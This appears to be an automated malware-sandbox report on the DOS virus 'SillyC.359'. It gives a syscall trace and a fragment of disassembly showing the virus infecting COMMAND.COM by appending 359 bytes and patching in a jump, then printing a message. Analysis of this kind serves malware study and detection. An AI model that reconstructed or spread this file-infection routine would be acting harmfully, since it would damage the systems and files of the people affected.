Sample viewer

vx.netlux.org/Virus.DOS.SillyC.359

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T22:44:43.438409951Z 47 PC: 12a96 | Get disk transfer address
2018-12-17T22:44:43.447471089Z 26 PC: 12aa8 | Set disk transfer address
2018-12-17T22:44:43.44979706Z 25 PC: 12ab7 | Get default drive
2018-12-17T22:44:43.451187318Z 14 PC: 12ac1 | Set default drive (Drive = 'C')
2018-12-17T22:44:43.453210802Z 78 PC: 12ace | Find first file
2018-12-17T22:44:43.461143048Z 67 PC: 12afb | Get or set file attributes
2018-12-17T22:44:43.467919516Z 67 PC: 12b08 | Get or set file attributes
2018-12-17T22:44:43.814542705Z 61 PC: 12b10 | Open file (Filename = 'COMMAND.COM')
2018-12-17T22:44:43.82313355Z 87 PC: 12b17 | Get or set file date and time
2018-12-17T22:44:43.824842929Z 44 PC: 12b25 | Get time 0x12b25: or dl, dl
0x12b27: je 0x12b21
0x12b29: mov byte ptr [bp + 0x161], dl
0x12b2d: mov ah, 0x3f
0x12b2f: lea dx, word ptr [bp + 0x154]
0x12b33: mov cx, 3
0x12b36: int 0x21
0x12b38: mov ax, 0x4202
0x12b3b: xor cx, cx
0x12b3d: xor dx, dx
0x12b3f: int 0x21
0x12b41: sub ax, 3
0x12b44: mov word ptr cs:[0xfb2d], ax
0x12b48: mov byte ptr cs:[0xfb2c], 0xe9
0x12b4e: lea si, word ptr [bp - 3]
0x12b51: mov di, 0xfcbc
0x12b54: mov cx, 0x167
0x12b57: cld
0x12b58: rep movsb byte ptr es:[di], byte ptr [si]
0x12b5a: mov si, 0xfcd8
2018-12-17T22:44:43.827285947Z 63 PC: 12b38 | Read file or device (Read 3 bytes on handle 5)
2018-12-17T22:44:43.830918539Z 66 PC: 12b41 | Move file pointer
2018-12-17T22:44:43.833327058Z 64 PC: 12b6a | Write file or device (Write 359 bytes on handle 5)
2018-12-17T22:44:43.840788715Z 66 PC: 12b73 | Move file pointer
2018-12-17T22:44:43.844821627Z 64 PC: 12b7d | Write file or device (Write 3 bytes on handle 5)
2018-12-17T22:44:43.849771872Z 87 PC: 12b92 | Get or set file date and time
2018-12-17T22:44:43.851504384Z 62 PC: 12b96 | Close file
2018-12-17T22:44:43.85897953Z 67 PC: 12ba3 | Get or set file attributes
2018-12-17T22:44:43.871234766Z 26 PC: 12bb2 | Set disk transfer address
2018-12-17T22:44:43.872516292Z 14 PC: 12bbc | Set default drive (Drive = 'A')
2018-12-17T22:44:43.874792908Z 9 PC: 12a4a | Display string (String= 'This is a fake virus for IX-BBS')